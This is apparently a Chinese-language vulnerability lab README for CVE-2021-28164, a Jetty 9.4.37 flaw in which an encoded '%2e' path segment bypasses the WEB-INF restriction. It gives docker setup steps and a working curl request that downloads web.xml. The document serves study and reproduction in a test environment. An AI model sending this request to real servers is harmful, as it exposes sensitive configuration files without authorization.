Aaron
63285f61aa
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35 lines
984 B
Markdown
35 lines
984 B
Markdown
# Jetty WEB-INF 敏感信息泄露漏洞（CVE-2021-28164）
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Eclipse Jetty是一个开源的servlet容器，它为基于Java的Web容器提供运行环境。
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Jetty 9.4.37引入对RFC3986的新实现，而URL编码的`.`字符被排除在URI规范之外，这个行为在RFC中是正确的，但在servlet的实现中导致攻击者可以通过`%2e`来绕过限制，下载WEB-INF目录下的任意文件，导致敏感信息泄露。该漏洞在9.4.39中修复。
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参考链接：
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- https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5
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- https://xz.aliyun.com/t/10039
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## 漏洞环境
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执行如下命令启动一个Jetty 9.4.37：
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```
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docker compose up -d
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```
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服务启动后，访问`http://your-ip:8080`可以查看到一个example页面。
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## 漏洞复现
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直接访问`/WEB-INF/web.xml`将会返回404页面：
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使用`%2e/`来绕过限制下载web.xml：
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```
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curl -v 'http://192.168.1.162:8080/%2e/WEB-INF/web.xml'
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```
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